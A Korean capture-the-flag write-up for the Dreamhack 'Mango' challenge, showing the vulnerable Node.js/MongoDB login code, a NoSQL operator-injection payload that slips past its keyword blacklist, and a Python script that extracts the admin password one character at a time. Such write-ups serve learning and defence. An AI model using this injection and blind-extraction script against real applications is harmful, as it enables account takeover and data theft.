본문 바로가기
웹 해킹/드림핵

[Dreamhack] Mango

by L3m0n S0ju 2021. 7. 18.


const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

 


문제에서 주어진 코드는 자바스크립트 파일로 위와 같습니다. 기본 페이지는 /login?uid=guest&upw=guest을 출력하고 /login 페이지에 GET 방식으로 uid와 upw 값을 입력하여 Mongo DB 데이터베이스를 열람할 수 있습니다. SQL Injection의 기본적인 ' or 1=1-- 와 같은 쿼리는 동작하지 않습니다. 하지만 MongoDB 정규표현식은 동작하는 것을 확인했습니다. 파라미터에 BAN = ['admin', 'dh', 'admi']; 과 같은 문자열이 포함되면 filter가 되고 그 외에는 undefined라는 문자열이 출력됩니다. 정규표현식 $gt, $lt, $ne, $regex을 사용하여 익스플로잇 코드를 구성하였습니다. 파라미터 값은 아래와 같습니다.

 

uid[$gt]=adm&uid[$ne]=guest&uid[$lt]=d&upw[$regex]={

 

gt = greater, ne = not equal, lt=little, regex = "입력값"이 포함된 문자열

 

uid[$gt]=adm 는 adm보다 큰 문자열을 출력합니다. 크기는 알파벳 순서로 계산되며 예를 들어 a<b이고 ab<ac 와 같은 동작 방식으로 동작합니다. 따라서 uid[$gt]=adm는 adm보다 큰 문자열을 출력하므로 admin도 출력됩니다. uid[$ne]=guest은 adm보다 큰 문자열을 출력하며 admin이 아닌 guest이 먼저 출력되므로 guest가 아닌 문자열을 출력합니다. uid[$lt]=d는 d보다 작은 문자열을 출력합니다. adm보다 크고 guest가 아닌 문자열을 요구하면 dreamhack이라는 문자열이 출력됩니다. 따라서 dreamhack을 제외하기 위해서 d보다 작은 문자열을 요구하면 admin을 출력하게 됩니다. 마지막으로 upw[$regex]={은 upw에 {가 포함된 문자열을 출력합니다. upw는 DH{플래그}와 같은 형식으로 {라는 문자열이 포함되어있으므로 참이 됩니다.

 

위와 같은 방법으로 데이터베이스의 uid 중 admin을 출력할 수 있지만 upw는 출력되지 않습니다. 따라서 upw를 아스키 코드 값을 하나씩 넣어서 참인 반응을 보이는 값들을 하나씩 출력하여 플래그를 완성해야 합니다. 익스플로잇 코드는 아래와 같습니다.

 


import requests
import string
 
url = "http://host1.dreamhack.games:13047/login"
s = string.digits + string.ascii_uppercase + string.ascii_lowercase + "{}" // 입력할 숫자 + 대문자 + 소문자 + "{}"  
result = "" // 플래그 값을 저장할 문자열
for i in range(32): // 플래그 값은 32보다 작다고 가정 
    for key, value in enumerate(s): // s는 dictionary 형태이므로 key값과 value 값을 따로 설정해준다.
        payload = "?uid[$gt]=adm&uid[$ne]=guest&uid[$lt]=d&upw[$regex]={" + (result+value) // for문이 32번 진행되는 동안 result 값을 아래에서 하나씩 업데이트하여 다음 문자을 찾는다.
        
        res = requests.get(url+payload) // 웹페이지에 요청후 res에 response 저장
        if res.text.find("admin") != -1: // reponse에 admin이라는 문자열이 없는 경우 -1 반환
            result += s[key] // admin 반응이 나올경우 result에 해당 문자 추가
            print(result)
            break
 
flag = "DH" + result + "}"
print(flag)

 


플래그

'웹 해킹 > 드림핵' 카테고리의 다른 글

[Dreamhack] funjs  (0) 2021.10.10
[Dreamhack] simple-ssti  (0) 2021.07.20
[Dreamhack] php-1  (0) 2021.07.16
[Dreamhack] pathtraversal  (0) 2021.07.16
[Dreamhack] proxy-1  (0) 2021.07.16

댓글